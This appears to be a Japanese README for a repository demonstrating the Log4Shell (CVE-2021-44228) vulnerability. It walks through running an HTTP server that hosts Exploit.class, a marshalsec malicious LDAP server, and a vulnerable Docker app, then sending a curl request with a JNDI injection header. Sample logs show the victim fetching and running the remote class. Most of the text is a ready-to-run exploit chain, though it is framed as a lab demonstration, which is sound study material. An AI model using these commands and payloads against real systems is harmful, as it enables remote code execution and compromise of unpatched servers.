
このリポジトリの目的は、CVE-2021-44228(通称 Log4Shell)を悪用するために必要なすべてのコンポーネントを提供し、
その悪用方法を示すことです。
この脆弱性を悪用するために必要な要素は次のとおりです。
クレジット:
前提条件:
LDAPサーバー と HTTPサーバー の実行HTTPサーバー1. exploit フォルダーに移動し、Python を使用して HTTP サーバーを起動します。
python3 -m http.server PORT
LDAPサーバー1. ldap_server フォルダーに移動し、pom.xml をビルドします。
mvn clean package -DskipTests
2. target フォルダーに移動し、http_server_ip と http_server_port を指定してサーバーを起動します。
java -cp ldap_server-1.0-all.jar marshalsec.jndi.LDAPRefServer "http://http_server_ip:http_server_port/#Exploit"
注: このコマンドは、すべての LDAP クエリに対して Exploit.class の URI を返すように悪意のある LDAP サーバーを実行します。
脆弱なアプリケーション の実行脆弱なアプリケーションの Docker コンテナを実行します。
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
注: デフォルトでは脆弱なアプリケーションをポート 8080 で実行しています。必要に応じて変更してください。
vulnerable_application、ldap_server、http_server が実行されたら、脆弱なサーバーに悪意のある HTTP リクエストを送信します。
curl VULNERABLE_APPLICATION_IP:8080 -H 'X-Api-Version: ${jndi:ldap://ldap_server_ip:1389/a}'
vulnerable_application はペイロードをログに記録し、LDAP クエリを実行します。
2021-12-24 18:48:14.644 INFO 1 --- [nio-8080-exec-1] HelloWorld: Received a request for API version ${jndi:ldap://10.0.2.15:1389/a}
ldap_server は Exploit.class の URI を返答します。
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.0.2.15:8443/Exploit.class
http_server は Exploit.class へのリクエストを受信します。
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...
172.17.0.2 - - [24/Dec/2021 19:48:14] "GET /Exploit.class HTTP/1.1" 200 -
最後に、エクスプロイトによって被害者のファイルシステム上に新しいファイルが作成されたことを確認できます。この例では、Docker コンテナのファイルシステムを確認する必要があります。

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://github.com/mbechler/marshalsec
https://github.com/christophetd/log4shell-vulnerable-app